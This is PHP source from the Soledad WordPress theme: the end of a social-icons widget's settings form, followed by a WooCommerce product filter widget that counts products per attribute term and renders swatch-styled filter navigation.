                           name="<?php echo esc_attr( $this->get_field_name( 'myspace' ) ); ?>" <?php checked( (bool) $instance['myspace'], true ); ?> />
                </p>
                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'paypal' ) ); ?>"><?php esc_html_e( 'Show Paypal:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'paypal' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'paypal' ) ); ?>" <?php checked( (bool) $instance['paypal'], true ); ?> />
                </p>
                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'skype' ) ); ?>"><?php esc_html_e( 'Show Skype:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'skype' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'skype' ) ); ?>" <?php checked( (bool) $instance['skype'], true ); ?> />
                </p>
                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'window' ) ); ?>"><?php esc_html_e( 'Show Window:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'window' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'window' ) ); ?>" <?php checked( (bool) $instance['window'], true ); ?> />
                </p>
                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'WordPress' ) ); ?>"><?php esc_html_e( 'Show WordPress:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'WordPress' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'WordPress' ) ); ?>" <?php checked( (bool) $instance['wordPress'], true ); ?> />
                </p>
                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'yahoo' ) ); ?>"><?php esc_html_e( 'Show Yahoo:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'yahoo' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'yahoo' ) ); ?>" <?php checked( (bool) $instance['yahoo'], true ); ?> />
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'yandex' ) ); ?>"><?php esc_html_e( 'Show Yandex:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'yandex' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'yandex' ) ); ?>" <?php checked( (bool) $instance['yandex'], true ); ?> />
                </p>
                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'douban' ) ); ?>"><?php esc_html_e( 'Show Douban:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'douban' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'douban' ) ); ?>" <?php checked( (bool) $instance['douban'], true ); ?> />
                </p>
                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'threads' ) ); ?>"><?php esc_html_e( 'Show Threads:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'threads' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'threads' ) ); ?>" <?php checked( (bool) $instance['threads'], true ); ?> />
                </p>
                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'yelp' ) ); ?>"><?php esc_html_e( 'Show Yelp:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'yelp' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'yelp' ) ); ?>" <?php checked( (bool) $instance['yelp'], true ); ?> />
                </p>
                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'qq' ) ); ?>"><?php esc_html_e( 'Show QQ:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'qq' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'qq' ) ); ?>" <?php checked( (bool) $instance['qq'], true ); ?> />
                </p>
            </div>
			<?php
		}
	}
}
?>
PK     N\i5      inc/widgets/product_filter.phpnu [        <?php

/**
 * Product Filter by Attr
 * Sort & filter woocommerce product with ajax support
 *
 * @package Wordpress
 * @since 1.2
 */

if ( ! class_exists( 'Penci_Product_Filter' ) ) {
	class Penci_Product_Filter extends WPH_Widget {

		function __construct() {

			$attribute_array      = array();
			$attribute_taxonomies = wc_get_attribute_taxonomies();

			if ( $attribute_taxonomies ) {
				foreach ( $attribute_taxonomies as $tax ) {
					$attribute_array[ $tax->attribute_name ] = $tax->attribute_name;
				}
			}

			$categories_array = array(
				esc_html__( 'All categories', 'soledad' ) => 'all',
			);

			$categories = $this->get_categories();

			if ( ! empty( $categories ) ) {
				foreach ( $categories as $cat ) {
					$title = $cat->post_title;
					$id    = ' (ID:' . $cat->id . ')';
					if ( $cat->parent ) {
						$title = $title . $id . ' (Parent ID:' . $cat->parent . ')';
					}
					$categories_array[ $title . $id ] = $cat->id;
				}
			}

			// Configure widget array
			$args = array(
				// Widget Backend label
				'label'       => penci_get_theme_name('.Soledad',true).esc_html__( 'Product Filter', 'soledad' ),
				// Widget Backend Description
				'description' => esc_html__( 'Shows a custom attribute in a widget which lets you narrow down the list of products when viewing product categories.', 'soledad' ),
				'slug'        => 'soledad-product-filter',
			);

			// Configure the widget fields

			// fields array
			$args['fields'] = array(
				array(
					'id'   => 'title',
					'type' => 'text',
					'std'  => esc_html__( 'Filter by', 'soledad' ),
					'name' => esc_html__( 'Title', 'soledad' )
				),
				array(
					'id'     => 'attribute',
					'type'   => 'dropdown',
					'std'    => '',
					'name'   => esc_html__( 'Attribute', 'soledad' ),
					'fields' => $attribute_array
				),
				/*array(
					'id'      => 'category',
					'type'    => 'select2',
					'default' => array( 'all' ),
					'name'    => esc_html__( 'Show on category', 'soledad' ),
					'fields'  => $categories_array
				),*/
				array(
					'id'     => 'query_type',
					'type'   => 'dropdown',
					'std'    => 'and',
					'name'   => esc_html__( 'Query type', 'soledad' ),
					'fields' => array(
						esc_html__( 'AND', 'soledad' ) => 'and',
						esc_html__( 'OR', 'soledad' )  => 'or'
					)
				),
				array(
					'id'     => 'display',
					'type'   => 'dropdown',
					'std'    => 'list',
					'name'   => esc_html__( 'Display type', 'soledad' ),
					'fields' => array(
						esc_html__( 'list', 'soledad' )      => 'list',
						esc_html__( '2 columns', 'soledad' ) => 'double',
						esc_html__( 'inline', 'soledad' )    => 'inline',
						esc_html__( 'Dropdown', 'soledad' )  => 'dropdown'
					)
				),
				array(
					'id'          => 'size',
					'type'        => 'dropdown',
					'std'         => 'normal',
					'name'        => esc_html__( 'Swatches size', 'soledad' ),
					'description' => esc_html__( 'Only work with Color & Image Attribute Type', 'soledad' ),
					'fields'      => array(
						esc_html__( 'normal', 'soledad' ) => 'normal',
						esc_html__( 'large', 'soledad' )  => 'large',
						esc_html__( 'small', 'soledad' )  => 'small',
					)
				),
				array(
					'id'     => 'labels',
					'type'   => 'dropdown',
					'std'    => 'on',
					'name'   => esc_html__( 'Show labels', 'soledad' ),
					'fields' => array(
						esc_html__( 'ON', 'soledad' )  => 'on',
						esc_html__( 'OFF', 'soledad' ) => 'off'
					)
				),
				array(
					'id'     => 'count',
					'type'   => 'dropdown',
					'std'    => 'on',
					'name'   => esc_html__( 'Show product count number', 'soledad' ),
					'fields' => array(
						esc_html__( 'ON', 'soledad' )  => 'on',
						esc_html__( 'OFF', 'soledad' ) => 'off'
					)
				),
				array(
					'id'     => 'tooltips',
					'type'   => 'dropdown',
					'std'    => 'on',
					'name'   => esc_html__( 'Show tooltips', 'soledad' ),
					'fields' => array(
						esc_html__( 'OFF', 'soledad' ) => 'off',
						esc_html__( 'ON', 'soledad' )  => 'on',
					)
				)
			);

			// create widget
			$this->create_widget( $args );
		}

		public function get_categories() {
			global $wpdb;

			$categories = $wpdb->get_results( "
			SELECT
				t.term_id AS id,
				t.name    AS post_title,
				t.slug    AS post_url,
				parent    AS parent
			FROM {$wpdb->prefix}terms t
				LEFT JOIN {$wpdb->prefix}term_taxonomy tt
						ON t.term_id = tt.term_id
			WHERE tt.taxonomy = 'product_cat'
			ORDER BY name" );

			return $categories;
		}

		// Output function
		// Based on woo widget @version  2.3.0
		function widget( $args, $instance ) {
			$_chosen_attributes = WC_Query::get_layered_nav_chosen_attributes();
			$taxonomy           = isset( $instance['attribute'] ) ? wc_attribute_taxonomy_name( $instance['attribute'] ) : '';
			$category           = isset( $instance['category'] ) ? $instance['category'] : array( 'all' );
			$query_type         = isset( $instance['query_type'] ) ? $instance['query_type'] : 'and';
			$display            = isset( $instance['display'] ) ? $instance['display'] : 'list';
			$template           = isset( $instance['template'] ) ? $instance['template'] : 'default';

			if ( ! is_shop() && ! is_product_taxonomy() && $template == 'default' ) {
				return;
			}

			$current_cat = get_queried_object();

			if ( ! is_array( $category ) ) {
				$category = explode( ',', $category );
			}

			if ( ! is_tax() && ! in_array( 'all', $category ) ) {
				return;
			}

			if ( ! in_array( 'all', $category ) && property_exists( $current_cat, 'term_id' ) && ! in_array( $current_cat->term_id, $category ) && ! in_array( $current_cat->parent, $category ) ) {
				return;
			}


			if ( ! taxonomy_exists( $taxonomy ) ) {
				return;
			}

			$get_terms_args = array( 'hide_empty' => '1' );

			$orderby = wc_attribute_orderby( $taxonomy );

			switch ( $orderby ) {
				case 'name' :
					$get_terms_args['orderby']    = 'name';
					$get_terms_args['menu_order'] = false;
					break;
				case 'id' :
					$get_terms_args['orderby']    = 'id';
					$get_terms_args['order']      = 'ASC';
					$get_terms_args['menu_order'] = false;
					break;
				case 'menu_order' :
					$get_terms_args['menu_order'] = 'ASC';
					break;
			}

			$terms = get_terms( $taxonomy, $get_terms_args );

			if ( 0 === sizeof( $terms ) ) {
				return;
			}

			ob_start();

			echo wp_kses_post( $args['before_widget'] );

			if ( $title = apply_filters( 'widget_title', empty( $instance['title'] ) ? '' : $instance['title'], $instance ) ) {
				echo wp_kses_post( $args['before_title'] ) . $title . wp_kses_post( $args['after_title'] );
			}
			if ( $template == 'default' ) {
				if ( 'dropdown' === $display ) {
					wp_enqueue_script( 'selectWoo' );
					wp_enqueue_style( 'select2' );
					$found = $this->layered_nav_dropdown( $terms, $taxonomy, $query_type );
				} else {
					$found = $this->layered_nav_list( $terms, $taxonomy, $query_type, $instance );
				}
			} else {
				$found = $this->layered_nav_checkbox_list( $terms, $taxonomy, $query_type, $instance );
			}

			echo wp_kses_post( $args['after_widget'] );

			// Force found when option is selected - do not force found on taxonomy attributes
			if ( ! is_tax() && is_array( $_chosen_attributes ) && array_key_exists( $taxonomy, $_chosen_attributes ) ) {
				$found = true;
			}

			if ( ! $found ) {
				ob_end_clean();
			} else {
				echo ob_get_clean();
			}

		}

		/**
		 * Return the currently viewed taxonomy name.
		 * @return string
		 */
		protected function get_current_taxonomy() {
			return is_tax() ? get_queried_object()->taxonomy : '';
		}

		/**
		 * Return the currently viewed term ID.
		 * @return int
		 */
		protected function get_current_term_id() {
			return absint( is_tax() ? get_queried_object()->term_id : 0 );
		}

		/**
		 * Return the currently viewed term slug.
		 * @return int
		 */
		protected function get_current_term_slug() {
			return absint( is_tax() ? get_queried_object()->slug : 0 );
		}

		/**
		 * Show dropdown layered nav.
		 *
		 * @param array $terms Terms.
		 * @param string $taxonomy Taxonomy.
		 * @param string $query_type Query Type.
		 *
		 * @return bool Will nav display?
		 */
		protected function layered_nav_dropdown( $terms, $taxonomy, $query_type ) {
			global $wp;
			$found = false;

			if ( $taxonomy !== $this->get_current_taxonomy() ) {
				//WC 3.6.0
				if ( function_exists( 'WC' ) && version_compare( WC()->version, '3.6.0', '<' ) ) {
					$term_counts = $this->get_filtered_term_product_counts( wp_list_pluck( $terms, 'term_id' ), $taxonomy, $query_type );
				} else {
					$term_counts = $this->get_filtered_term_product_counts_new( wp_list_pluck( $terms, 'term_id' ), $taxonomy, $query_type );
				}

				$_chosen_attributes   = WC_Query::get_layered_nav_chosen_attributes();
				$taxonomy_filter_name = str_replace( 'pa_', '', $taxonomy );
				$taxonomy_label       = wc_attribute_label( $taxonomy );

				/* translators: %s: taxonomy name */
				$any_label      = apply_filters( 'woocommerce_layered_nav_any_label', sprintf( __( 'Any %s', 'soledad' ), $taxonomy_label ), $taxonomy_label, $taxonomy );
				$multiple       = 'or' === $query_type;
				$current_values = isset( $_chosen_attributes[ $taxonomy ]['terms'] ) ? $_chosen_attributes[ $taxonomy ]['terms'] : array();

				if ( '' === get_option( 'permalink_structure' ) ) {
					$form_action = remove_query_arg( array(
						'page',
						'paged'
					), add_query_arg( $wp->query_string, '', home_url( $wp->request ) ) );
				} else {
					$form_action = preg_replace( '%\/page/[0-9]+%', '', home_url( trailingslashit( $wp->request ) ) );
				}


				echo '<form method="get" action="' . esc_url( $form_action ) . '" class="penci-widget-layered-nav-dropdown-form">';
				echo '<select class="penci-widget-layered-nav-dropdown penci_woo_dropdown_layered_nav_' . esc_attr( $taxonomy_filter_name ) . '"' . ( $multiple ? 'multiple="multiple"' : '' ) . ' data-placeholder="' . esc_attr( $any_label ) . '" data-noResults="' . esc_html__( 'No matches found', 'soledad' ) . '" data-slug="' . esc_attr( $taxonomy_filter_name ) . '">';
				echo '<option value="">' . esc_html( $any_label ) . '</option>';

				foreach ( $terms as $term ) {

					// If on a term page, skip that term in widget list.
					if ( $term->term_id === $this->get_current_term_id() ) {
						continue;
					}

					// Get count based on current view.
					$option_is_set = in_array( $term->slug, $current_values, true );
					$count         = isset( $term_counts[ $term->term_id ] ) ? $term_counts[ $term->term_id ] : 0;

					// Only show options with count > 0.
					if ( 0 < $count ) {
						$found = true;
					} elseif ( 0 === $count && ! $option_is_set ) {
						continue;
					}

					echo '<option value="' . esc_attr( urldecode( $term->slug ) ) . '" ' . selected( $option_is_set, true, false ) . '>' . esc_html( $term->name ) . '</option>';
				}

				echo '</select>';

				if ( $multiple ) {
					echo '<button class="penci-widget-layered-nav-dropdown__submit" type="submit" value="' . esc_attr__( 'Apply', 'soledad' ) . '">' . esc_html__( 'Apply', 'soledad' ) . '</button>';
				}

				if ( 'or' === $query_type ) {
					echo '<input type="hidden" name="query_type_' . esc_attr( $taxonomy_filter_name ) . '" value="or" />';
				}

				echo '<input type="hidden" name="filter_' . esc_attr( $taxonomy_filter_name ) . '" value="' . esc_attr( implode( ',', $current_values ) ) . '" />';
				echo wc_query_string_form_fields( null, array(
					'filter_' . $taxonomy_filter_name,
					'query_type_' . $taxonomy_filter_name
				), '', true ); // @codingStandardsIgnoreLine
				echo '</form>';
			}

			return $found;
		}

		/**
		 * Get current page URL for layered nav items.
		 * @return string
		 */
		protected function get_page_base_url() {
			if ( Automattic\Jetpack\Constants::is_defined( 'SHOP_IS_ON_FRONT' ) ) {
				$link = home_url();
			} elseif ( is_shop() ) {
				$link = get_permalink( wc_get_page_id( 'shop' ) );
			} elseif ( is_product_category() ) {
				$link = get_term_link( get_query_var( 'product_cat' ), 'product_cat' );
			} elseif ( is_product_tag() ) {
				$link = get_term_link( get_query_var( 'product_tag' ), 'product_tag' );
			} else {
				$queried_object = get_queried_object();
				$link           = get_term_link( $queried_object->slug, $queried_object->taxonomy );
			}

			// Min/Max.
			if ( isset( $_GET['min_price'] ) ) {
				$link = add_query_arg( 'min_price', wc_clean( wp_unslash( $_GET['min_price'] ) ), $link );
			}

			if ( isset( $_GET['max_price'] ) ) {
				$link = add_query_arg( 'max_price', wc_clean( wp_unslash( $_GET['max_price'] ) ), $link );
			}

			// Order by.
			if ( isset( $_GET['orderby'] ) ) {
				$link = add_query_arg( 'orderby', wc_clean( wp_unslash( $_GET['orderby'] ) ), $link );
			}

			/**
			 * Search Arg.
			 * To support quote characters, first they are decoded from &quot; entities, then URL encoded.
			 */
			if ( get_search_query() ) {
				$link = add_query_arg( 's', rawurlencode( htmlspecialchars_decode( get_search_query() ) ), $link );
			}

			// Post Type Arg
			if ( isset( $_GET['post_type'] ) ) {
				$link = add_query_arg( 'post_type', wc_clean( wp_unslash( $_GET['post_type'] ) ), $link );

				// Prevent post type and page id when pretty permalinks are disabled.
				if ( is_shop() ) {
					$link = remove_query_arg( 'page_id', $link );
				}
			}

			// Min Rating Arg
			if ( isset( $_GET['rating_filter'] ) ) {
				$link = add_query_arg( 'rating_filter', wc_clean( wp_unslash( $_GET['rating_filter'] ) ), $link );
			}

			// All current filters.
			if ( $_chosen_attributes = WC_Query::get_layered_nav_chosen_attributes() ) { // phpcs:ignore Squiz.PHP.DisallowMultipleAssignments.Found, WordPress.CodeAnalysis.AssignmentInCondition.Found
				foreach ( $_chosen_attributes as $name => $data ) {
					$filter_name = wc_attribute_taxonomy_slug( $name );
					if ( ! empty( $data['terms'] ) ) {
						$link = add_query_arg( 'filter_' . $filter_name, implode( ',', $data['terms'] ), $link );
					}
					if ( 'or' === $data['query_type'] ) {
						$link = add_query_arg( 'query_type_' . $filter_name, 'or', $link );
					}
				}
			}

			return apply_filters( 'woocommerce_widget_get_current_page_url', $link, $this );
		}

		/**
		 * Count products within certain terms, taking the main WP query into consideration.
		 *
		 * @param array $term_ids
		 * @param string $taxonomy
		 * @param string $query_type
		 *
		 * @return array
		 */
		protected function get_filtered_term_product_counts( $term_ids, $taxonomy, $query_type ) {
			global $wpdb;

			$tax_query  = WC_Query::get_main_tax_query();
			$meta_query = WC_Query::get_main_meta_query();
			if ( 'or' === $query_type ) {
				foreach ( $tax_query as $key => $query ) {
					if ( is_array( $query ) && $taxonomy === $query['taxonomy'] ) {
						unset( $tax_query[ $key ] );
					}
				}
			}

			$meta_query     = new WP_Meta_Query( $meta_query );
			$tax_query      = new WP_Tax_Query( $tax_query );
			$meta_query_sql = $meta_query->get_sql( 'post', $wpdb->posts, 'ID' );
			$tax_query_sql  = $tax_query->get_sql( $wpdb->posts, 'ID' );
			// Generate query
			$query           = array();
			$query['select'] = "SELECT COUNT( DISTINCT {$wpdb->posts}.ID ) as term_count, terms.term_id as term_count_id";
			$query['from']   = "FROM {$wpdb->posts}";
			$query['join']   = "
				INNER JOIN {$wpdb->term_relationships} AS term_relationships ON {$wpdb->posts}.ID = term_relationships.object_id
				INNER JOIN {$wpdb->term_taxonomy} AS term_taxonomy USING( term_taxonomy_id )
				INNER JOIN {$wpdb->terms} AS terms USING( term_id )
				" . $tax_query_sql['join'] . $meta_query_sql['join'];
			$query['where']  = "
				WHERE {$wpdb->posts}.post_type IN ( 'product' )
				AND {$wpdb->posts}.post_status = 'publish'
				" . $tax_query_sql['where'] . $meta_query_sql['where'] . "
				AND terms.term_id IN (" . implode( ',', array_map( 'absint', $term_ids ) ) . ")
			";

			if ( $search = WC_Query::get_main_search_query_sql() ) {

				$query['where'] .= ' AND ' . $search;

				if ( get_theme_mod( 'penci_woo_search_by_sku' ) ) {
					// search for variations with a matching sku and return the parent.
					$sku_to_parent_id = $wpdb->get_col( $wpdb->prepare( "SELECT p.post_parent as post_id FROM {$wpdb->posts} as p join {$wpdb->postmeta} pm on p.ID = pm.post_id and pm.meta_key='_sku' and pm.meta_value LIKE '%%%s%%' where p.post_parent <> 0 group by p.post_parent", wc_clean( $_GET['s'] ) ) );

					//Search for a regular product that matches the sku.
					$sku_to_id = $wpdb->get_col( $wpdb->prepare( "SELECT post_id FROM {$wpdb->postmeta} WHERE meta_key='_sku' AND meta_value LIKE '%%%s%%';", wc_clean( $_GET['s'] ) ) );

					$search_ids = array_merge( $sku_to_id, $sku_to_parent_id );

					$search_ids = array_filter( array_map( 'absint', $search_ids ) );

					if ( sizeof( $search_ids ) > 0 ) {
						$query['where'] = str_replace( '))', ") OR ({$wpdb->posts}.ID IN (" . implode( ',', $search_ids ) . ")))", $query['where'] );
					}
				}

			}

			$query['group_by'] = 'GROUP BY terms.term_id';
			$query             = apply_filters( 'woocommerce_get_filtered_term_product_counts_query', $query );
			$query             = implode( ' ', $query );

			// We have a query - let's see if cached results of this query already exist.
			$query_hash = md5( $query );

			// Maybe store a transient of the count values.
			$cache = apply_filters( 'woocommerce_layered_nav_count_maybe_cache', true );
			if ( true === $cache ) {
				$cached_counts = (array) get_transient( 'wc_layered_nav_counts_' . sanitize_title( $taxonomy ) );
			} else {
				$cached_counts = array();
			}

			if ( ! isset( $cached_counts[ $query_hash ] ) ) {
				$results                      = $wpdb->get_results( $query, ARRAY_A ); // @codingStandardsIgnoreLine
				$counts                       = array_map( 'absint', wp_list_pluck( $results, 'term_count', 'term_count_id' ) );
				$cached_counts[ $query_hash ] = $counts;
				if ( true === $cache ) {
					set_transient( 'wc_layered_nav_counts_' . sanitize_title( $taxonomy ), $cached_counts, DAY_IN_SECONDS );
				}
			}

			return array_map( 'absint', (array) $cached_counts[ $query_hash ] );

		}

		protected function get_filtered_term_product_counts_new( $term_ids, $taxonomy, $query_type ) {
			global $wpdb;

			$tax_query  = WC_Query::get_main_tax_query();
			$meta_query = WC_Query::get_main_meta_query();
			if ( 'or' === $query_type ) {
				foreach ( $tax_query as $key => $query ) {
					if ( is_array( $query ) && $taxonomy === $query['taxonomy'] ) {
						unset( $tax_query[ $key ] );
					}
				}
			}

			$meta_query     = new WP_Meta_Query( $meta_query );
			$tax_query      = new WP_Tax_Query( $tax_query );
			$meta_query_sql = $meta_query->get_sql( 'post', $wpdb->posts, 'ID' );
			$tax_query_sql  = $tax_query->get_sql( $wpdb->posts, 'ID' );
			// Generate query
			$query           = array();
			$query['select'] = "SELECT COUNT( DISTINCT {$wpdb->posts}.ID ) as term_count, terms.term_id as term_count_id";
			$query['from']   = "FROM {$wpdb->posts}";
			$query['join']   = "
				INNER JOIN {$wpdb->term_relationships} AS term_relationships ON {$wpdb->posts}.ID = term_relationships.object_id
				INNER JOIN {$wpdb->term_taxonomy} AS term_taxonomy USING( term_taxonomy_id )
				INNER JOIN {$wpdb->terms} AS terms USING( term_id )
				" . $tax_query_sql['join'] . $meta_query_sql['join'];
			$query['where']  = "
				WHERE {$wpdb->posts}.post_type IN ( 'product' )
				AND {$wpdb->posts}.post_status = 'publish'
				" . $tax_query_sql['where'] . $meta_query_sql['where'] . "
				AND terms.term_id IN (" . implode( ',', array_map( 'absint', $term_ids ) ) . ")
			";

			if ( $search = WC_Query::get_main_search_query_sql() ) {

				$query['where'] .= ' AND ' . $search;

				if ( get_theme_mod( 'penci_woo_search_by_sku' ) ) {
					// search for variations with a matching sku and return the parent.
					$sku_to_parent_id = $wpdb->get_col( $wpdb->prepare( "SELECT p.post_parent as post_id FROM {$wpdb->posts} as p join {$wpdb->wc_product_meta_lookup} ml on p.ID = ml.product_id and ml.sku LIKE '%%%s%%' where p.post_parent <> 0 group by p.post_parent", wc_clean( $_GET['s'] ) ) );

					//Search for a regular product that matches the sku.
					$sku_to_id = $wpdb->get_col( $wpdb->prepare( "SELECT product_id FROM {$wpdb->wc_product_meta_lookup} WHERE sku LIKE '%%%s%%';", wc_clean( $_GET['s'] ) ) );

					$search_ids = array_merge( $sku_to_id, $sku_to_parent_id );

					$search_ids = array_filter( array_map( 'absint', $search_ids ) );

					if ( sizeof( $search_ids ) > 0 ) {
						$query['where'] = str_replace( '))', ") OR ({$wpdb->posts}.ID IN (" . implode( ',', $search_ids ) . ")))", $query['where'] );
					}
				}

			}

			$query['group_by'] = 'GROUP BY terms.term_id';
			$query             = apply_filters( 'woocommerce_get_filtered_term_product_counts_query', $query );
			$query             = implode( ' ', $query );

			// We have a query - let's see if cached results of this query already exist.
			$query_hash = md5( $query );

			// Maybe store a transient of the count values.
			$cache = apply_filters( 'woocommerce_layered_nav_count_maybe_cache', true );
			if ( true === $cache ) {
				$cached_counts = (array) get_transient( 'wc_layered_nav_counts_' . sanitize_title( $taxonomy ) );
			} else {
				$cached_counts = array();
			}

			if ( ! isset( $cached_counts[ $query_hash ] ) ) {
				$results                      = $wpdb->get_results( $query, ARRAY_A ); // @codingStandardsIgnoreLine
				$counts                       = array_map( 'absint', wp_list_pluck( $results, 'term_count', 'term_count_id' ) );
				$cached_counts[ $query_hash ] = $counts;
				if ( true === $cache ) {
					set_transient( 'wc_layered_nav_counts_' . sanitize_title( $taxonomy ), $cached_counts, DAY_IN_SECONDS );
				}
			}

			return array_map( 'absint', (array) $cached_counts[ $query_hash ] );

		}

		/**
		 * Show list based layered nav.
		 *
		 * @param array $terms
		 * @param string $taxonomy
		 * @param string $query_type
		 *
		 * @return bool Will nav display?
		 */
		protected function layered_nav_list( $terms, $taxonomy, $query_type, $instance ) {
			$labels            = isset( $instance['labels'] ) ? $instance['labels'] : 'on';
			$count             = isset( $instance['count'] ) ? $instance['count'] : 'on';
			$tooltips          = isset( $instance['tooltips'] ) ? $instance['tooltips'] : 'off';
			$size              = isset( $instance['size'] ) ? $instance['size'] : 'normal';
			$display           = isset( $instance['display'] ) ? $instance['display'] : 'list';
			$scroll_for_widget = get_theme_mod( 'penci_woo_widgets_scroll', true );

			$is_brand = ( get_theme_mod( 'penci_woo_brands_attribute' ) == $taxonomy );

			$class = 'show-labels-' . $labels;
			$class .= ' show-count-' . $count;
			$class .= ' swatches-' . $size;
			$class .= ' swatches-display-' . $display;
			$class .= ( $is_brand ) ? ' swatches-brands' : '';
			// List display
			if ( $scroll_for_widget ) {
				echo '<div class="penci-scroll">';
				$class .= ' penci-scroll-content';
			}
			echo '<ul class="' . esc_attr( $class ) . '">';

			//WC 3.6.0
			if ( function_exists( 'WC' ) && version_compare( WC()->version, '3.6.0', '<' ) ) {
				$term_counts = $this->get_filtered_term_product_counts( wp_list_pluck( $terms, 'term_id' ), $taxonomy, $query_type );
			} else {
				$term_counts = $this->get_filtered_term_product_counts_new( wp_list_pluck( $terms, 'term_id' ), $taxonomy, $query_type );
			}

			$_chosen_attributes = WC_Query::get_layered_nav_chosen_attributes();
			$found              = false;

			foreach ( $terms as $term ) {
				$current_values = isset( $_chosen_attributes[ $taxonomy ]['terms'] ) ? $_chosen_attributes[ $taxonomy ]['terms'] : array();
				$option_is_set  = in_array( $term->slug, $current_values );
				$count          = isset( $term_counts[ $term->term_id ] ) ? $term_counts[ $term->term_id ] : 0;

				// skip the term for the current archive
				if ( $this->get_current_term_id() === $term->term_id ) {
					continue;
				}

				// Only show options with count > 0
				if ( 0 < $count ) {
					$found = true;
				} elseif ( 0 === $count && ! $option_is_set ) {
					continue;
				}

				$filter_name    = 'filter_' . sanitize_title( str_replace( 'pa_', '', $taxonomy ) );
				$current_filter = isset( $_GET[ $filter_name ] ) ? explode( ',', wc_clean( $_GET[ $filter_name ] ) ) : array();
				$current_filter = array_map( 'sanitize_title', $current_filter );


				if ( ! in_array( $term->slug, $current_filter ) ) {
					$current_filter[] = $term->slug;
				}

				$base_link = $this->get_page_base_url();
				$link      = remove_query_arg( $filter_name, $base_link );

				// Add current filters to URL.
				foreach ( $current_filter as $key => $value ) {
					// Exclude query arg for current term archive term.
					if ( $value === $this->get_current_term_slug() ) {
						unset( $current_filter[ $key ] );
					}

					// Exclude self so filter can be unset on click.
					if ( $option_is_set && $value === $term->slug ) {
						unset( $current_filter[ $key ] );
					}
				}

				if ( ! empty( $current_filter ) ) {
					asort( $current_filter );
					$link = add_query_arg( $filter_name, implode( ',', $current_filter ), $link );

					// Add Query type Arg to URL.
					if ( 'or' === $query_type && ! ( 1 === count( $current_filter ) && $option_is_set ) ) {
						$link = add_query_arg( 'query_type_' . wc_attribute_taxonomy_slug( $taxonomy ), 'or', $link );
					}

					$link = apply_filters( 'penci_woo_filter_link', $link );

					$link = str_replace( '%2C', ',', $link );

				}

				// Add swatches block
				$swatch_div   = $swatch_style = $swatch_img = '';
				$swatch_color = get_term_meta( $term->term_id, 'color', true );
				$swatch_image = get_term_meta( $term->term_id, 'image', true );
				$swatch_text  = get_term_meta( $term->term_id, 'not_dropdown', true );

				$class = $option_is_set ? 'chosen' : '';

				if ( ! empty( $swatch_color ) ) {
					$class        .= ' with-swatch-color';
					$swatch_style = 'background-color: ' . $swatch_color . ';';
				}

				if ( ! empty( $swatch_image ) ) {
					$class      .= ' with-swatch-image';
					$swatch_img = wp_get_attachment_image( $swatch_image, 'full' );
				}

				if ( ! empty( $swatch_text ) ) {
					$class .= ' with-swatch-text';
				}

				if ( ! empty( $swatch_style ) ) {
					$swatch_div = '<span style="' . $swatch_style . '" class="' . ( ( $tooltips == 'on' ) ? 'penci-tooltip' : '' ) . '">' . $swatch_img . esc_html( $term->name ) . '</span>';
				}
				// END swatches customization

				echo '<li class="wc-layered-nav-term ' . esc_attr( $class ) . '">';

				echo ( true == $option_is_set || $count > 0 ) ? '<a rel="nofollow noopener" href="' . esc_url( apply_filters( 'woocommerce_layered_nav_link', $link ) ) . '" class="layered-nav-link">' : '<span>';

				echo '<span class="swatch-inner">';

				if ( $swatch_div ) {
					echo '<span class="filter-swatch">' . $swatch_div . '</span>';
				}

				echo '<span data-tippy-content="' . esc_html( $term->name ) . '" class="layer-term-name ' . ( ( $tooltips == 'on' ) ? 'penci-tooltip' : '' ) . '">' . $swatch_img . '<span class="term_name">' . esc_html( $term->name ) . '</span>' . '</span>';

				echo '</span>';

				echo ( true == $option_is_set || $count > 0 ) ? '</a>' : '</span>';

				echo ' <span class="count">(' . absint( $count ) . ')</span></li>';
			}

			echo '</ul>';
			if ( $scroll_for_widget ) {
				echo '</div>';
			}

			return $found;
		}

		protected function layered_nav_checkbox_list( $terms, $taxonomy, $query_type, $instance ) {
			$query_type  = isset( $instance['query_type'] ) ? $instance['query_type'] : 'and';
			$title       = isset( $instance['filter-title'] ) ? $instance['filter-title'] : esc_html__( 'Filter by', 'soledad' );
			$labels      = $instance['labels'] ? 'on' : 'off';
			$count       = $instance['count'] ? 'on' : 'off';
			$size        = isset( $instance['size'] ) ? $instance['size'] : 'normal';
			$categories  = isset( $instance['categories'] ) ? $instance['categories'] : array();
			$is_on_shop  = is_shop() || is_product_taxonomy();
